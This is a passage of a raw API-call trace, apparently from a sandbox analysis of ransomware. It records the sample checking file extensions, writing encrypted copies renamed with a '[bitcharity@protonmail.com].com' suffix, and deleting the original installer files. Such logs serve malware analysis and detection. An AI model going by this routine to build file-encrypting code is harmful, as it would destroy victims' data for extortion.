lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString=".zip") returned 4 [0132.525] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0132.525] lstrlenW (lpString=".rar") returned 4 [0132.525] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString=".bz2") returned 4 [0132.525] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString=".7z") returned 3 [0132.525] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString=".dbf") returned 4 [0132.525] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString=".1cd") returned 4 [0132.525] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString=".jpg") returned 4 [0132.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString=".doc") returned 4 [0132.526] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString=".docx") returned 5 [0132.526] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0132.526] lstrlenW (lpString=".pdf") returned 4 [0132.526] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString=".xls") returned 4 [0132.526] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString=".xlsx") returned 5 [0132.526] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0132.526] lstrlenW (lpString=".ppt") returned 4 [0132.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString=".zip") returned 4 [0132.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0132.526] lstrlenW (lpString=".rar") returned 4 [0132.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString=".bz2") returned 4 [0132.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString=".7z") returned 3 [0132.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString=".dbf") returned 4 [0132.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString=".1cd") returned 4 [0132.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0132.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.526] lstrlenW (lpString=".jpg") returned 4 [0132.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0132.526] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0132.527] lstrlenW (lpString="eula.rtf") returned 8 [0132.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0133.362] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=8876) returned 1 [0133.362] CloseHandle (hObject=0x1090) returned 1 [0133.362] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0133.362] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0133.362] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.362] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0133.362] GetLastError () returned 0x0 [0133.363] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0133.521] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0133.522] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.522] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0133.522] SetEndOfFile (hFile=0x1088) returned 1 [0133.522] CloseHandle (hObject=0x1088) returned 1 [0133.523] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.523] SetEndOfFile (hFile=0x1090) returned 1 [0133.524] CloseHandle (hObject=0x1090) returned 1 [0133.524] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.524] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0133.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.524] lstrlenW (lpString=".doc") returned 4 [0133.525] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString=".docx") returned 5 [0133.525] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0133.525] lstrlenW (lpString=".pdf") returned 4 [0133.525] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString=".xls") returned 4 [0133.525] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0133.525] lstrlenW (lpString=".xlsx") returned 5 [0133.525] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0133.525] lstrlenW (lpString=".ppt") returned 4 [0133.525] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString=".zip") returned 4 [0133.525] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0133.525] lstrlenW (lpString=".rar") returned 4 [0133.525] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString=".bz2") returned 4 [0133.525] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString=".7z") returned 3 [0133.525] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString=".dbf") returned 4 [0133.525] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString=".1cd") returned 4 [0133.525] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString=".jpg") returned 4 [0133.525] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.525] lstrlenW (lpString=".doc") returned 4 [0133.525] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0133.525] lstrlenW (lpString=".docx") returned 5 [0133.525] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0133.525] lstrlenW (lpString=".pdf") returned 4 [0133.525] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString=".xls") returned 4 [0133.526] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0133.526] lstrlenW (lpString=".xlsx") returned 5 [0133.526] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0133.526] lstrlenW (lpString=".ppt") returned 4 [0133.526] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.526] lstrlenW (lpString=".zip") returned 4 [0133.526] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0133.526] lstrlenW (lpString=".rar") returned 4 [0133.526] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString=".bz2") returned 4 [0133.526] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString=".7z") returned 3 [0133.526] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0133.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.526] lstrlenW (lpString=".dbf") returned 4 [0133.526] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.526] lstrlenW (lpString=".1cd") returned 4 [0133.526] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0133.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0133.526] lstrlenW (lpString=".jpg") returned 4 [0133.526] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0133.526] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0133.526] lstrlenW (lpString="eula.rtf") returned 8 [0133.526] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0133.526] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=3526) returned 1 [0133.527] CloseHandle (hObject=0x1090) returned 1 [0133.527] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0133.527] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0133.527] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.527] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0133.527] GetLastError () returned 0x0 [0133.527] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xdc6, lpOverlapped=0x0) returned 1 [0134.995] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0134.996] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.996] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0134.996] SetEndOfFile (hFile=0x1088) returned 1 [0134.996] CloseHandle (hObject=0x1088) returned 1 [0134.997] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.997] SetEndOfFile (hFile=0x1090) returned 1 [0134.997] CloseHandle (hObject=0x1090) returned 1 [0134.998] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.998] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0134.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.998] lstrlenW (lpString=".doc") returned 4 [0134.998] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.998] lstrlenW (lpString=".docx") returned 5 [0134.998] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.998] lstrlenW (lpString=".pdf") returned 4 [0134.998] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.998] lstrlenW (lpString=".xls") returned 4 [0134.998] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.998] lstrlenW (lpString=".xlsx") returned 5 [0134.998] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.998] lstrlenW (lpString=".ppt") returned 4 [0134.998] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.998] lstrlenW (lpString=".zip") returned 4 [0134.999] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.999] lstrlenW (lpString=".rar") returned 4 [0134.999] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString=".bz2") returned 4 [0134.999] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString=".7z") returned 3 [0134.999] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.999] lstrlenW (lpString=".dbf") returned 4 [0134.999] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.999] lstrlenW (lpString=".1cd") returned 4 [0134.999] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.999] lstrlenW (lpString=".jpg") returned 4 [0134.999] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0134.999] lstrlenW (lpString=".doc") returned 4 [0134.999] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString=".docx") returned 5 [0134.999] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.999] lstrlenW (lpString=".pdf") returned 4 [0134.999] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString=".xls") returned 4 [0134.999] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.999] lstrlenW (lpString=".xlsx") returned 5 [0134.999] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.999] lstrlenW (lpString=".ppt") returned 4 [0134.999] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0135.000] lstrlenW (lpString=".zip") returned 4 [0135.000] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0135.000] lstrlenW (lpString=".rar") returned 4 [0135.000] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0135.000] lstrlenW (lpString=".bz2") returned 4 [0135.000] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0135.000] lstrlenW (lpString=".7z") returned 3 [0135.000] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0135.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0135.000] lstrlenW (lpString=".dbf") returned 4 [0135.000] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0135.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0135.000] lstrlenW (lpString=".1cd") returned 4 [0135.000] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0135.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0135.000] lstrlenW (lpString=".jpg") returned 4 [0135.000] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0135.000] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0135.000] lstrlenW (lpString="LocalizedData.xml") returned 17 [0135.000] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0135.000] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=68226) returned 1 [0135.000] CloseHandle (hObject=0x1090) returned 1 [0135.000] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0135.001] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0135.001] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.001] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0135.001] GetLastError () returned 0x0 [0135.001] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0135.106] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0135.108] ReadFile (in: hFile=0x1090, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.108] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf6, lpOverlapped=0x0) returned 1 [0135.108] SetEndOfFile (hFile=0x1088) returned 1 [0135.108] CloseHandle (hObject=0x1088) returned 1 [0135.110] SetFilePointerEx (in: hFile=0x1090, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.110] SetEndOfFile (hFile=0x1090) returned 1 [0135.111] CloseHandle (hObject=0x1090) returned 1 [0135.111] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.111] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0135.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.111] lstrlenW (lpString=".doc") returned 4 [0135.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0135.111] lstrlenW (lpString=".docx") returned 5 [0135.112] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0135.112] lstrlenW (lpString=".pdf") returned 4 [0135.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString=".xls") returned 4 [0135.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString=".xlsx") returned 5 [0135.112] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0135.112] lstrlenW (lpString=".ppt") returned 4 [0135.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.112] lstrlenW (lpString=".zip") returned 4 [0135.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0135.112] lstrlenW (lpString=".rar") returned 4 [0135.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString=".bz2") returned 4 [0135.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString=".7z") returned 3 [0135.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0135.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.112] lstrlenW (lpString=".dbf") returned 4 [0135.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.112] lstrlenW (lpString=".1cd") returned 4 [0135.112] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0135.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.112] lstrlenW (lpString=".jpg") returned 4 [0135.112] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.113] lstrlenW (lpString=".doc") returned 4 [0135.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString=".docx") returned 5 [0135.113] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0135.113] lstrlenW (lpString=".pdf") returned 4 [0135.113] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString=".xls") returned 4 [0135.113] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString=".xlsx") returned 5 [0135.113] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0135.113] lstrlenW (lpString=".ppt") returned 4 [0135.113] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.113] lstrlenW (lpString=".zip") returned 4 [0135.113] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0135.113] lstrlenW (lpString=".rar") returned 4 [0135.113] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString=".bz2") returned 4 [0135.113] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString=".7z") returned 3 [0135.113] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.113] lstrlenW 